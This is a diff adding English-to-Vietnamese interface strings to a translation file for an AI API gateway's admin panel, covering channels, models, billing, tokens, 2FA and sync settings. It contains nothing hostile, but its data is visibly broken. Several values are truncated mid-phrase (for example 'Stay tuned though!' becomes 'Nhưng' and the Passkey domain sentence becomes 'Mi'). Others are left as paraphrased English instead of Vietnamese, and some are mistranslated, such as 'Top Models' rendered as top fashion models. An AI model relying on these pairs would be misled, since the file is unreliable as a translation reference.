+    "Search products...": "Tìm kiếm sản phẩm...",
+    "Search tags...": "Tìm thẻ...",
+    "Search vendors...": "Tìm nhà cung cấp...",
+    "Search...": "Tìm kiếm...",
+    "seconds": "giây",
+    "Secret env (JSON object)": "Biến môi trường bí mật (đối tượng JSON)",
+    "Secret environment variables (JSON)": "Biến môi trường bí mật (JSON)",
+    "Secret Key": "Khóa bí mật",
+    "Secure & Reliable": "An toàn & Đáng tin cậy",
+    "Security": "Bảo mật",
+    "Security Check": "Kiểm tra bảo mật",
+    "Security verification": "Xác minh bảo mật",
+    "Select": "Chọn",
+    "Select a color": "Chọn một màu",
+    "Select a group": "Chọn một nhóm",
+    "Select a group type": "Chọn loại nhóm",
+    "Select a preset...": "Chọn cấu hình sẵn...",
+    "Select a role": "Chọn vai trò",
+    "Select a timestamp before clearing logs.": "Chọn một dấu thời gian trước khi xóa nhật ký.",
+    "Select a usage mode to continue": "Chọn chế độ sử dụng để tiếp tục",
+    "Select a verification method first": "Vui lòng chọn phương thức xác thực trước",
+    "Select all": "Chọn tất cả",
+    "Select all (filtered)": "Chọn tất cả (đã lọc)",
+    "Select all models": "Chọn tất cả mô hình",
+    "Select All Visible": "Chọn tất cả hiển thị",
+    "Select an operation mode and enter the amount": "Chọn chế độ thao tác và nhập số tiền",
+    "Select announcement type": "Select notification type",
+    "Select at least one field to overwrite.": "Chọn ít nhất một trường để ghi đè.",
+    "Select channel type": "Chọn loại kênh",
+    "Select currency": "Chọn tiền tệ",
+    "Select date": "Chọn ngày",
+    "Select display mode": "Chọn chế độ hiển thị",
+    "Select end time": "Chọn thời gian kết thúc",
+    "Select from presets or type custom identifier.": "Chọn từ các cài đặt sẵn hoặc nhập mã định danh tùy chỉnh.",
+    "Select granularity": "Select detail level",
+    "Select groups (leave empty to keep current)": "Chọn nhóm (để trống để giữ nguyên hiện tại)",
+    "Select items...": "Chọn các mục...",
+    "Select key format": "Chọn định dạng khóa",
+    "Select Language": "Chọn Ngôn ngữ",
+    "Select layout style": "Chọn kiểu bố cục",
+    "Select locations": "Chọn vị trí",
+    "Select Model": "Chọn mẫu",
+    "Select models (empty for allow all)": "Chọn model (để trống nếu muốn cho",
+    "Select models and apply to channel models list.": "Chọn mô hình và áp dụng cho danh sách mô hình kênh.",
+    "Select models or add custom ones": "Chọn các mô hình hoặc thêm các mô hình tùy chỉnh",
+    "Select models to process. Unselected \"add\" models will be ignored.": "Chọn các mô hình để xử lý. Các mô hình \"thêm\" không được chọn sẽ bị bỏ qua.",
+    "Select models to run batch tests.": "Chọn mô hình để chạy kiểm thử hàng loạt.",
+    "Select or enter color value": "Chọn hoặc nhập giá trị màu",
+    "Select or enter model name": "Chọn hoặc nhập tên mô hình",
+    "Select or enter payment type": "Chọn hoặc nhập loại thanh toán",
+    "Select payment method": "Chọn phương thức thanh toán",
+    "Select preset or enter custom CSS color value.": "Chọn cài đặt sẵn hoặc nhập giá trị màu CSS tùy chỉnh.",
+    "Select publish date": "Chọn ngày xuất bản",
+    "Select requirement": "Chọn yêu cầu",
+    "Select row": "Chọn hàng",
+    "Select sidebar style": "Chọn kiểu thanh bên",
+    "Select site direction": "Chọn hướng trang",
+    "Select start time": "Chọn thời gian bắt đầu",
+    "Select subscription plan": "Chọn gói đăng ký",
+    "Select Sync Channels": "Chọn Kênh đồng bộ",
+    "Select sync channels to compare prices": "Chọn kênh đồng bộ để so sánh giá",
+    "Select sync channels to compare ratios": "Chọn kênh đồng bộ để so sánh tỷ lệ",
+    "Select Sync Source": "Chọn Nguồn Đồng Bộ",
+    "Select the API endpoint region": "Chọn khu vực điểm cuối API",
+    "Select the fields you want to overwrite with upstream data. Unselected fields keep their local values.": "Chọn các trường bạn muốn ghi đè bằng dữ liệu thượng nguồn. Các trường không được chọn sẽ giữ nguyên giá trị cục bộ của chúng.",
+    "Select theme preference": "Chọn chủ đề ưu tiên",
+    "Select time granularity": "Chọn độ chi tiết thời gian",
+    "Select vendor": "Chọn nhà cung cấp",
+    "Selectable groups": "Nhóm có thể chọn",
+    "selected": "đã chọn",
+    "selected channel(s). Leave empty to remove tag.": "Kênh đã chọn. Để trống để xóa thẻ.",
+    "Selected conflicts were overwritten successfully.": "Các xung đột được chọn đã được ghi đè thành công.",
+    "Self-Use Mode": "Chế độ tự sử dụng",
+    "Send": "Gửi",
+    "Send code": "Gửi mã",
+    "Send email alerts when a user falls below this quota": "Gửi cảnh báo email khi người dùng xuống dưới hạn mức này",
+    "Sending...": "Đang gửi...",
+    "Sensitive Words": "Từ ngữ nhạy cảm",
+    "Sent the API key to FluentRead.": "Đã gửi khóa API đến FluentRead.",
+    "Serve multiple users or teams with billing and quota control.": "Phục vụ nhiều người dùng hoặc nhóm với quản lý thanh toán và hạn mức.",
+    "Server Address": "Địa chỉ máy chủ",
+    "Server IP": "IP máy chủ",
+    "Server Log Management": "Quản lý nhật ký máy chủ",
+    "Server logging is not enabled (log directory not configured)": "Nhật ký máy chủ chưa được bật (chưa cấu hình thư mục nhật ký)",
+    "Server Token": "Mã thông báo máy chủ",
+    "Service account JSON file(s)": "Tệp JSON tài khoản dịch vụ",
+    "Session expired!": "Phiên hết hạn!",
+    "Session expired?": "Phiên đã hết hạn?",
+    "Set": "Đặt",
+    "Set a discount rate for a specific recharge amount threshold.": "Đặt tỷ lệ chiết khấu cho một ngưỡng số tiền nạp cụ thể.",
+    "Set a secure password (min. 8 characters)": "Đặt mật khẩu an toàn (tối thiểu 8 ký tự)",
+    "Set a tag for": "Gắn thẻ cho",
+    "Set filters to customize your dashboard statistics and charts.": "Đặt bộ lọc để tùy chỉnh số liệu thống kê và biểu đồ trên bảng điều khiển của bạn.",
+    "Set filters to narrow down your log search results.": "Đặt bộ lọc để thu hẹp kết quả tìm kiếm nhật ký của bạn.",
+    "Set API key access restrictions": "Thiết lập hạn chế truy cập cho khóa API",
+    "Set API key basic information": "Thiết lập thông tin cơ bản cho khóa API",
+    "Set Header": "Đặt tiêu đề",
+    "Set Project to io.cloud when creating/selecting key": "Đặt Dự án thành io.cloud khi tạo/chọn khóa",
+    "Set quota amount and limits": "Thiết lập hạn mức và giới hạn",
+    "Set Tag": "Gán Thẻ",
+    "Set tag for selected channels": "Đặt thẻ cho các kênh đã chọn",
+    "Set the user's role (cannot be Root)": "Đặt vai trò của người dùng (không được là Root)",
+    "Setting saved": "Cài đặt đã được lưu",
+    "Setting up 2FA...": "Đang thiết lập 2FA...",
+    "Setting updated successfully": "Cài đặt đã được cập nhật thành công",
+    "Settings": "Cài đặt",
+    "Settings & Preferences": "Cài đặt & Tùy chọn",
+    "Settings updated successfully": "Cài đặt đã được cập nhật thành công",
+    "Setup Instructions": "Hướng dẫn Thiết lập",
+    "Setup Two-Factor Authentication": "Thiết lập Xác thực hai yếu tố",
+    "Share your link and earn rewards": "Chia sẻ liên kết của bạn và kiếm phần thưởng",
+    "Shared configuration for all payment gateways": "Cấu hình chung cho tất cả các cổng thanh toán",
+    "Shorten": "Rút gọn",
+    "Show": "Hiển thị",
+    "Show All": "Hiển thị tất cả",
+    "Show all providers including unbound": "Hiển thị tất cả nhà cung cấp (bao gồm chưa liên kết)",
+    "Show only bound providers": "Chỉ hiển thị nhà cung cấp đã liên kết",
+    "Show prices in currency instead of quota.": "Hiển thị giá bằng tiền tệ thay vì hạn ngạch.",
+    "Show token usage statistics in the UI": "Hiển thị thống kê sử dụng token trong giao diện người dùng",
+    "Showcase core capabilities with demo credentials and limited access.": "Trình diễn các tính năng cốt lõi với thông tin đăng nhập demo và quyền truy cập hạn chế.",
+    "Showing": "Đang hiển thị",
+    "showing •": "hiển thị •",
+    "Sidebar": "Thanh bên",
+    "Sidebar collapsed by default for new users": "Thanh bên được thu gọn theo mặc định đối với người dùng mới",
+    "Sidebar modules": "Mô-đun thanh bên",
+    "Sidebar Personal Settings": "Cài đặt cá nhân thanh bên",
+    "Sign in": "Đăng nhập",
+    "Sign In": "Đăng nhập",
+    "Sign in with Passkey": "Đăng nhập bằng Passkey",
+    "Sign out": "Đăng xuất",
+    "Sign up": "Đăng ký",
+    "Signed in": "Đã đăng nhập",
+    "Signed in successfully!": "Đã đăng nhập thành công!",
+    "Signed in via WeChat": "Đã đăng nhập qua WeChat",
+    "Signed in with Passkey": "Đã đăng nhập bằng Passkey",
+    "Signed out": "Đã đăng xuất",
+    "Signing you in with {{provider}}": "Đang đăng nhập bằng {{provider}}",
+    "SiliconFlow": "SiliconFlow",
+    "Single Key": "Khóa đơn",
+    "Site Key": "Khóa trang web",
+    "Size:": "Kích thước:",
+    "sk_xxx or rk_xxx": "sk_xxx hoặc rk_xxx",
+    "Skip retry on failure": "Không thử lại khi thất bại",
+    "Skip to Main": "Bỏ qua đến nội dung chính",
+    "Slug": "Slug",
+    "Slug can only contain letters, numbers, hyphens, and underscores": "Slug chỉ có thể chứa chữ cái, số, dấu gạch ngang và dấu gạch dưới",
+    "Slug is required": "Slug là bắt buộc",
+    "Slug must be less than 100 characters": "Slug phải ít hơn 100 ký tự",
+    "Smallest USD amount users can recharge (Epay)": "Số tiền USD tối thiểu người dùng có thể nạp (Epay)",
+    "SMTP Email": "Email SMTP",
+    "SMTP Host": "Máy chủ SMTP",
+    "smtp.example.com": "smtp.example.com",
+    "socks5://user:pass@host:port": "socks5://user:pass@host:port",
+    "Soft Errors": "Lỗi mềm",
+    "Some channels failed: {{errorMsg}}": "Một số kênh thất bại: {{errorMsg}}",
+    "Something went wrong!": "Có gì đó không ổn!",
+    "Sonnet Model": "Mô hình Sonnet",
+    "Sora": "Sora",
+    "Sort": "Sắp xếp",
+    "Sort by ID": "Sắp xếp theo ID",
+    "Sort Order": "Thứ tự sắp xếp",
+    "Source": "Nguồn",
+    "sources": "nguồn",
+    "Space-separated OAuth scopes": "Phạm vi OAuth phân cách bằng dấu cách",
+    "Spark model version, e.g., v2.1 (version number in API URL)": "Phiên bản mô hình Spark, ví dụ: v2.1 (số phiên bản trong URL API)",
+    "Special usable group rules": "Quy tắc nhóm sử dụng đặc biệt",
+    "SQLite stores all data in a single file. Make sure that file is persisted when running in containers.": "SQLite lưu trữ tất cả dữ liệu trong một tệp duy nhất. Đảm bảo tệp được lưu trữ lâu dài khi chạy trong container.",
+    "SSRF Protection": "Bảo vệ SSRF",
+    "Standard": "Tiêu chuẩn",
+    "Start": "Bắt đầu",
+    "Start a conversation to see messages here": "Bắt đầu một cuộc trò chuyện để xem tin nhắn tại đây",
+    "Start for free with generous limits. No credit card required.": "Bắt đầu miễn phí với giới hạn hào phóng. Không cần thẻ tín dụng.",
+    "Start Time": "Thời gian bắt đầu",
+    "Static page describing the platform.": "Trang tĩnh mô tả nền tảng.",
+    "Statistical count": "Số đếm thống kê",
+    "Statistical quota": "Chỉ tiêu thống kê",
+    "Statistical tokens": "Mã thông báo thống kê",
+    "Statistics reset": "Đã đặt lại thống kê",
+    "Status": "Trạng thái",
+    "Status & Sync": "Trạng thái & Đồng bộ",
+    "Status Code Mapping": "Ánh xạ mã trạng thái",
+    "Status Page Slug": "Đường dẫn phụ trang trạng thái",
+    "Status:": "Trạng thái:",
+    "Stay": "Ở lại",
+    "Stay tuned though!": "Nhưng",
+    "Step": "Bước",
+    "Stop": "Dừng lại",
+    "Store ID": "Mã cửa hàng",
+    "Store ID is required": "Bắt buộc nhập Store ID",
+    "Stored value is not echoed back for security": "Vì bảo mật, giá trị đã lưu không được hiển thị lại",
+    "stream": "dòng",
+    "Stream": "Luồng",
+    "Stream Mode": "Chế độ streaming",
+    "Stream Status": "Trạng thái luồng",
+    "Stripe": "Stripe",
+    "Stripe API key (leave blank unless updating)": "Khóa API Stripe (để trống trừ khi cập nhật)",
+    "Stripe Dashboard": "Bảng điều khiển Stripe",
+    "Stripe Gateway": "Cổng thanh toán Stripe",
+    "Stripe product price ID": "ID giá sản phẩm Stripe",
+    "Stripe/Creem requires creating products on the third-party platform and entering the ID": "Stripe/Creem yêu cầu tạo sản phẩm trên nền tảng bên thứ ba và nhập ID",
+    "Submit": "Gửi",
+    "Submit directly": "Gửi trực tiếp",
+    "Submit Result": "Gửi Kết quả",
+    "Submit Time": "Thời gian gửi",
+    "Submitted": "Đã gửi",
+    "Submitting": "Đang gửi",
+    "Submitting...": "Đang gửi...",
+    "Submodel": "Submodel",
+    "Subscribe Now": "Đăng ký ngay",
+    "Subscription": "Đăng ký",
+    "Subscription Billing": "Thanh toán gói đăng ký",
+    "Subscription First": "Ưu tiên đăng ký",
+    "Subscription Management": "Quản lý đăng ký",
+    "Subscription Only": "Chỉ đăng ký",
+    "Subscription Plans": "Gói đăng ký",
+    "Subtract": "Trừ",
+    "Success": "Thành công",
+    "Successfully created {{count}} API Key(s)": "Đã tạo thành công {{count}} khóa API",
+    "Successfully created {{count}} redemption codes": "Đã tạo thành công {{count}} mã đổi thưởng",
+    "Successfully deleted {{count}} API key(s)": "Đã xóa thành công {{count}} khóa API",
+    "Successfully deleted {{count}} invalid redemption codes": "Đã xóa thành công {{count}} mã đổi thưởng không hợp lệ",
+    "Successfully deleted {{count}} model(s)": "Đã xóa thành công {{count}} mô hình",
+    "Successfully disabled {{count}} model(s)": "Đã tắt thành công {{count}} mô hình",
+    "Successfully enabled {{count}} model(s)": "Đã bật thành công {{count}} mô hình",
+    "Suffix": "Hậu tố",
+    "Suffix Match": "Khớp hậu tố",
+    "SunoAPI": "SunoAPI",
+    "Super Admin": "Siêu Quản trị viên",
+    "Support for high concurrency with automatic load balancing": "Hỗ trợ đồng thời cao với cân bằng tải tự động",
+    "Supported Imagine Models": "Mô hình Imagine được hỗ trợ",
+    "Supports `-thinking`, `-thinking-": "Hỗ trợ `-thinking`, `-thinking-",
+    "Supports HTML markup or iframe embedding. Enter HTML code directly, or provide a complete URL to automatically embed it as an iframe.": "Hỗ trợ đánh dấu HTML hoặc nhúng iframe. Nhập mã HTML trực tiếp, hoặc cung cấp một URL đầy đủ để tự động nhúng nó dưới dạng một iframe.",
+    "Supports PNG, JPG, SVG, or WebP. Recommended size: 128×128 or smaller.": "Hỗ trợ PNG, JPG, SVG hoặc WebP. Kích thước khuyến nghị: 128×128 hoặc nhỏ hơn.",
+    "Swap Face": "Đổi mặt",
+    "Switch affinity on success": "Chuyển ưu tiên khi thành công",
+    "Switch between the new frontend and the classic frontend. Changes take effect after page reload.": "Chuyển đổi giữa frontend mới và frontend cổ điển. Thay đổi có hiệu lực sau khi tải lại trang.",
+    "Switch to JSON": "Chuyển sang JSON",
+    "Switch to Visual": "Chuyển sang Trực quan",
+    "Sync Endpoint": "Điểm cuối đồng bộ",
+    "Sync Fields": "Đồng bộ trường",
+    "Sync from the public upstream metadata repository.": "Đồng bộ từ kho lưu trữ siêu dữ liệu upstream công khai.",
+    "Sync this model with official upstream": "Synchronize this model with the official source.",
+    "Sync Upstream": "Đồng bộ nguồn",
+    "Sync Upstream Models": "Đồng bộ các mô hình nguồn",
+    "Synchronize models and vendors from an upstream source": "Đồng bộ hóa các mô hình và nhà cung cấp từ một nguồn thượng nguồn",
+    "Syncing prices, please wait...": "Đang đồng bộ giá, vui lòng đợi...",
+    "System": "Hệ thống",
+    "System Administration": "Quản trị hệ thống",
+    "System Announcements": "Thông báo hệ thống",
+    "System Behavior": "Hành vi hệ thống",
+    "System data statistics": "Thống kê dữ liệu hệ thống",
+    "System Information": "Thông tin hệ thống",
+    "System initialized successfully! Redirecting…": "Hệ thống đã được khởi tạo thành công! Đang chuyển hướng…",
+    "System logo": "Logo hệ thống",
+    "System maintenance": "Bảo trì hệ thống",
+    "System Memory": "Bộ nhớ hệ thống",
+    "System Memory Stats": "Thống kê bộ nhớ hệ thống",
+    "System Name": "Tên hệ thống",
+    "System name is required": "Tên hệ thống là bắt buộc",
+    "System Notice": "Thông báo hệ thống",
+    "System Performance Monitoring": "Giám sát hiệu suất hệ thống",
+    "System Prompt": "Lời nhắc hệ thống",
+    "System Prompt Concatenation": "Ghép nối Lời nhắc Hệ thống",
+    "System Prompt Override": "Ghi đè prompt hệ thống",
+    "System settings": "Cài đặt hệ thống",
+    "System Settings": "Cài đặt hệ thống",
+    "System setup wizard": "Trình hướng dẫn thiết lập hệ thống",
+    "System task records": "Lịch sử tác vụ hệ thống",
+    "System Version": "Phiên bản hệ thống",
+    "Table view": "Xem dạng bảng",
+    "Tag": "Tag",
+    "Tag Aggregate": "Tổng hợp thẻ",
+    "Tag Mode": "Chế độ thẻ",
+    "Tag Name": "Tên thẻ",
+    "Tag set successfully": "Thiết lập bộ thẻ thành công",
+    "Tag updated successfully": "Đã cập nhật thẻ thành công",
+    "Tag:": "Thẻ:",
+    "Tags": "Thẻ",
+    "Take photo": "Chụp ảnh",
+    "Take screenshot": "Chụp màn hình",
+    "Target group": "Target audience",
+    "Task": "Nhiệm vụ",
+    "Task ID": "Mã nhiệm vụ",
+    "Task ID:": "ID nhiệm vụ:",
+    "Task logs": "Nhật ký tác vụ",
+    "Task Logs": "Nhật ký tác vụ",
+    "Team Collaboration": "Teamwork",
+    "Technical Support": "Hỗ trợ kỹ thuật",
+    "Telegram": "Telegram",
+    "Telegram login requires widget integration; coming soon": "Đăng nhập Telegram yêu cầu tích hợp widget; sắp ra mắt",
+    "Telegram Login Widget": "Tiện ích đăng nhập Telegram",
+    "Template variables:": "Biến mẫu:",
+    "Templates": "Mẫu",
+    "Templates appended": "Đã thêm mẫu",
+    "Tencent": "Tencent",
+    "Termination requested": "Yêu cầu chấm dứt",
+    "Test All Channels": "Kiểm tra tất cả các kênh",
+    "Test Channel Connection": "Check channel connection",
+    "Test Connection": "Kiểm tra kết nối",
+    "Test connectivity for:": "Kiểm tra kết nối cho:",
+    "Test interval (minutes)": "Khoảng thời gian kiểm tra (phút)",
+    "Test Latency": "Kiểm tra độ trễ",
+    "Test Mode": "Chế độ thử nghiệm",
+    "Test Model": "Kiểm tra Mô hình",
+    "Testing all enabled channels started. Please refresh to see results.": "Bắt đầu kiểm tra tất cả các kênh đã kích hoạt. Vui lòng làm mới để xem kết quả.",
+    "Testing...": "Đang kiểm tra...",
+    "Text Input": "Đầu vào văn bản",
+    "Text Output": "Đầu ra văn bản",
+    "Text to Video": "Văn bản sang video",
+    "The administrator account is already initialized. You can keep your existing credentials and continue to the next step.": "Tài khoản quản trị viên đã được khởi tạo. Bạn có thể giữ nguyên thông tin đăng nhập hiện có của mình và tiếp tục sang bước tiếp theo.",
+    "The administrator configured an external link for this document.": "Người quản trị đã cấu hình một liên kết ngoài cho tài liệu này.",
+    "The administrator has not configured a privacy policy yet.": "Quản trị viên chưa cấu hình chính sách bảo mật.",
+    "The administrator has not configured a user agreement yet.": "Quản trị viên chưa cấu hình thỏa thuận người dùng.",
+    "The administrator has not configured any about content yet. You can set it in the settings page, supporting HTML or URL.": "Quản trị viên chưa cấu hình bất kỳ nội dung giới thiệu nào. Bạn có thể thiết lập nó trong trang cài đặt, hỗ trợ HTML hoặc URL.",
+    "The binding will complete automatically after authorization": "Việc liên kết sẽ hoàn tất tự động sau khi ủy quyền",
+    "The effective domain for Passkey registration. Must match the current domain or be its parent domain.": "Mi",
+    "The exact model identifier as used in API requests.": "Mã định danh mô hình chính xác như được sử dụng trong các yêu cầu API.",
+    "The following models have billing type conflicts (fixed price vs ratio billing). Confirm to proceed with the changes.": "Các mô hình sau có xung đột loại thanh toán (giá cố định so với thanh toán theo tỷ lệ). Xác nhận để tiếp tục với các thay đổi.",
+    "The following models in the model redirect have not been added to the \"Models\" list and may fail during invocation due to missing available models:": "Các mô hình sau trong chuyển hướng mô hình chưa được thêm vào danh sách \"Mô hình\" và có thể gọi thất bại do thiếu các mô hình có sẵn:",
+    "The mapped upstream model(s)": "Mô hình(s) thượng nguồn được ánh xạ",
+    "The model you're looking for doesn't exist.": "Mô hình bạn đang tìm kiếm không tồn tại.",
+    "The name displayed across the application": "Tên hiển thị trên ứng dụng",
+    "The public URL of your server, used for OAuth callbacks, webhooks, and other external integrations": "URL công khai của máy chủ, dùng cho callback OAuth, webhook và các tích hợp bên ngoài khác",
+    "The requested chat preset does not exist or has been removed.": "Cài đặt sẵn cuộc trò chuyện được yêu cầu không tồn tại hoặc đã bị xóa.",
+    "The setup wizard will use this database during initialization.": "Trình hướng dẫn thiết lập sẽ sử dụng cơ sở dữ liệu này trong quá trình khởi tạo.",
+    "The site is not available at the moment.": "Trang web hiện không khả dụng.",
+    "The slug is appended to the URL:": "Slug được gắn vào URL:",
+    "The sync will fetch missing models and vendors from the selected source. Existing records are updated only when you approve conflicts.": "Đồng bộ hóa sẽ tìm nạp các mẫu và nhà cung cấp còn thiếu từ nguồn đã chọn. Các bản ghi hiện có chỉ được cập nhật khi bạn chấp thuận các xung đột.",
+    "The token group that will have a custom ratio": "The token group will have a custom ratio.",
+    "The unique identifier for this model": "Mã định danh duy nhất cho mô hình này",
+    "The unique name for this vendor": "Tên duy nhất cho nhà cung cấp này",
+    "The URL for this chat client.": "URL của ứng dụng chat này.",
+    "Theme": "Chủ đề",
+    "Theme Settings": "Cài đặt chủ đề",
+    "There are both add and remove models pending, but you only selected one type. Confirm submitting only the selected items?": "Có cả mô hình cần thêm và xóa đang chờ, nhưng bạn chỉ chọn một loại. Xác nhận chỉ gửi các mục đã chọn?",
+    "These models are still in your selection but were not returned by the upstream listing. Entries that are only model_mapping source aliases are omitted. Toggle to adjust before saving.": "Các model này vẫn được chọn nhưng không còn xuất hiện trong danh sách upstream; tên chỉ là khóa nguồn trong model_mapping đã được loại. Điều chỉnh trước khi lưu.",
+    "These toggles affect whether certain request fields are passed through to the upstream provider.": "Các chuyển đổi này ảnh hưởng đến việc các trường yêu cầu nhất định có được chuyển đến nhà cung cấp dịch vụ đầu vào hay không.",
+    "Thinking Adapter": "Adapter tư duy",
+    "Thinking to Content": "Suy nghĩ thành Nội dung",
+    "Third-party account bindings (read-only, managed by user in profile settings)": "Liên kết tài khoản bên thứ ba (chỉ đọc, do người dùng quản lý trong cài đặt hồ sơ)",
+    "Third-party Payment Config": "Cấu hình thanh toán bên thứ ba",
+    "This action cannot be undone.": "Hành động này không thể hoàn tác.",
+    "This action cannot be undone. This will permanently delete your account and remove all your data from our servers.": "Hành động này không thể hoàn tác. Việc này sẽ xóa vĩnh viễn tài khoản của bạn và loại bỏ tất cả dữ liệu của bạn khỏi máy chủ của chúng tôi.",
+    "This action will permanently remove 2FA protection from your account.": "Hành động này sẽ vĩnh viễn gỡ bỏ tính năng bảo vệ",
+    "This channel is not an Ollama channel.": "Kênh này không phải là kênh Ollama.",
+    "This channel type does not support fetching models": "Loại kênh này không hỗ trợ lấy mô hình",
+    "This data may be unreliable, use with caution": "Dữ liệu này có thể không đáng tin cậy, sử dụng thận trọng",
+    "This device does not support Passkey": "Thiết bị này không hỗ trợ Passkey",
+    "This device does not support Passkey verification.": "Thiết bị này không hỗ trợ xác minh Passkey.",
+    "This expression is too complex for the visual editor. Please switch to expression mode to edit.": "Biểu thức này quá phức tạp cho trình sửa trực quan. Hãy chuyển sang chế độ biểu thức để chỉnh sửa.",
+    "This feature is experimental. Configuration format and behavior may change.": "Tính năng này đang ở giai đoạn thử nghiệm. Định dạng cấu hình và hành vi có thể thay đổi.",
+    "This feature requires server-side WeChat configuration": "Tính năng này yêu cầu cấu hình WeChat phía máy chủ",
+    "This may cause cache failures.": "Điều này có thể gây ra lỗi bộ nhớ đệm.",
+    "This may take a few moments while we validate the request and update your session.": "Việc này có thể mất vài phút trong khi chúng tôi xác thực yêu cầu và cập nhật phiên của bạn.",
+    "This model has both fixed price and ratio billing conflicts": "Mô hình này có cả mâu thuẫn về thanh toán theo giá cố định và theo tỷ lệ.",
+    "This model is not available in any group, or no group pricing information is configured.": "Mô hình này không khả dụng trong bất kỳ nhóm nào, hoặc thông tin giá nhóm chưa được cấu hình.",
+    "This month": "Tháng này",
+    "This page has not been created yet.": "Trang này chưa được tạo.",
+    "This project must be used in compliance with the": "Dự án này phải được sử dụng tuân thủ theo",
+    "This record was written by a pre-upgrade instance and lacks audit info. Upgrade the instance to record server IP, callback IP, payment method and system version.": "Bản ghi này do bản cũ tạo và thiếu thông tin audit. Nâng cấp bản cài để lưu IP máy chủ, IP callback, hình thức thanh toán và phiên bản hệ thống.",
+    "this token group": "nhóm token này",
+    "this user group": "nhóm người dùng này",
+    "This user has no bindings": "Người dùng này không có liên kết nào",
+    "This week": "Tuần này",
+    "This will append 2 template rules (Codex CLI and Claude CLI) to the existing rule list.": "Thao tác này sẽ thêm 2 quy tắc mẫu (Codex CLI và Claude CLI) vào danh sách quy tắc hiện có.",
+    "This will clear custom pricing ratios and revert to upstream defaults.": "Điều này sẽ xóa các tỷ lệ giá tùy chỉnh và trở về mặc định ban đầu.",
+    "This will delete all": "Thao tác này sẽ xóa tất cả",
+    "This will delete all channel affinity cache entries still in memory.": "Thao tác này sẽ xóa tất cả mục bộ nhớ đệm ưu tiên kênh còn trong bộ nhớ.",
+    "This will delete temporary cache files that have not been used for more than 10 minutes": "Thao tác này sẽ xóa các tệp bộ nhớ đệm tạm không được sử dụng hơn 10 phút",
+    "This will extend the deployment by the specified hours.": "Thao tác này sẽ kéo dài triển khai thêm số giờ được chỉ định.",
+    "This will permanently delete API key": "Thao tác này sẽ xóa vĩnh viễn khóa API",
+    "This will permanently delete redemption code": "Thao tác này sẽ xóa vĩnh viễn mã đổi thưởng.",
+    "This will permanently delete user": "Thao tác này sẽ xóa vĩnh viễn người dùng",
+    "This will permanently remove all log entries created before {{date}}.": "Thao tác này sẽ xóa vĩnh viễn tất cả các mục nhật ký được tạo trước {{date}}.",
+    "This will permanently remove log entries before the selected timestamp.": "Thao tác này sẽ xóa vĩnh viễn các mục nhật ký trước mốc thời gian đã chọn.",
+    "Three steps to get started": "Ba bước để bắt đầu",
+    "Tier": "Bậc",
+    "Tier name": "Tên bậc",
+    "Tiered": "Nhiều bậc",
+    "Tiered (billing expression)": "Nhiều bậc (công thức tính phí)",
+    "Tiered price table": "Bảng giá theo bậc",
+    "Time": "Thời gian",
+    "Time Granularity": "Độ chi tiết thời gian",
+    "Time remaining": "Thời gian còn lại",
+    "Time window for rate limiting": "Cửa sổ thời gian cho giới hạn tốc độ",
+    "Time-based": "Theo thời gian",
+    "Time:": "Thời gian:",
+    "Timed cache (1h)": "Bộ đệm theo thời gian (1 giờ)",
+    "Timeline": "Dòng thời gian",
+    "times": "lần",
+    "Timing": "Thời gian",
+    "Tip: The generated key is a JSON credential including access_token / refresh_token / account_id.": "Mẹo: Khóa tạo ra là thông tin xác thực JSON gồm access_token / refresh_token / account_id.",
+    "to access this resource.": "để truy cập tài nguyên này.",
+    "to confirm": "Chờ xác nhận",
+    "To Lower": "Chữ thường",
+    "to override billing when a user in one group uses a token of another group.": "để ghi đè việc thanh toán khi một người dùng trong một nhóm sử dụng token của một nhóm khác.",
+    "to the Models list so users can use them before the mapping sends traffic upstream.": "vào danh sách Mô hình để người dùng có thể sử dụng chúng trước khi ánh xạ gửi lưu lượng truy cập lên phía trên.",
+    "To Upper": "Chữ hoa",
+    "to view this resource.": "để xem tài nguyên này.",
+    "Today": "Hôm nay",
+    "Toggle columns": "Chuyển đổi cột",
+    "Toggle navigation menu": "Chuyển đổi menu điều hướng",
+    "Toggle plan": "Chuyển đổi kế hoạch",
+    "Toggle theme": "Chuyển đổi giao diện",
+    "Token": "Mã thông báo",
+    "Token Breakdown": "Chi tiết token",
+    "Token Endpoint": "Điểm cuối Token",
+    "Token Endpoint (Optional)": "Điểm cuối Token (Tùy chọn)",
+    "Token estimator": "Ước tính token",
+    "Token management": "Quản lý token",
+    "Token Management": "Quản lý token",
+    "Token Mgmt": "Quản lý Token",
+    "Token Name": "Tên mã thông báo",
+    "Token obtained from your Gotify application": "Mã thông báo thu được từ ứng dụng Gotify của bạn",
+    "Token regenerated and copied to clipboard": "Token đã được tạo lại và sao chép vào bộ nhớ tạm",
+    "Token unit": "Đơn vị token",
+    "Token-based": "Dựa trên token",
+    "tokens": "mã thông báo",
+    "Tokens": "Mã thông báo",
+    "Tokens Only": "Chỉ mã thông báo",
+    "Tokens per minute": "Số token mỗi phút",
+    "Tokens-only mode will show raw quota values regardless of this toggle.": "Chế độ Tokens-only sẽ hiển thị giá trị quota thô bất kể tùy chọn này.",
+    "Too many files. Some were not added.": "Quá nhiều tệp. Một số không được thêm.",
+    "Tool identifier": "Định danh công cụ",
+    "Tool price settings": "Cài đặt giá công cụ",
+    "Tool prices": "Giá công cụ",
+    "Top {{count}}": "Top {{count}}",
+    "Top Models": "Người mẫu hàng đầu",
+    "Top Users": "Người dùng hàng đầu",
+    "Top up balance and view billing history.": "Nạp tiền vào tài khoản và xem lịch sử thanh toán.",
+    "Top-up": "Nạp tiền",
+    "Top-up amount options": "Tùy chọn số tiền nạp",
+    "Top-up Audit Info": "Thông tin audit nạp tiền",
+    "Top-up group ratios": "Tỷ lệ nhóm bổ sung",
+    "Top-Up Link": "Liên kết nạp tiền",
+    "top-up ratio": "tỷ lệ nạp tiền",
+    "Topup Amount": "Số tiền nạp",
+    "Total": "Tổng cộng",
+    "Total Allocated": "Tổng phân bổ",
+    "Total check-ins": "Tổng số lần điểm danh",
+    "Total consumed": "Tổng tiêu thụ",
+    "Total consumed quota": "Tổng hạn ngạch đã tiêu thụ",
+    "Total cost": "Tổng chi phí",
+    "Total Cost": "Tổng chi phí",
+    "Total Count": "Tổng số",
+    "Total earned": "Tổng thu nhập",
+    "Total Earned": "Total income",
+    "Total GPUs": "Tổng GPU",
+    "Total invitation revenue": "Tổng doanh thu mời",
+    "Total Log Size": "Tổng dung lượng nhật ký",
+    "Total Quota": "Tổng hạn mức",
+    "Total requests allowed per period. 0 = unlimited.": "Tổng số yêu cầu được phép mỗi kỳ. 0 = không giới hạn.",
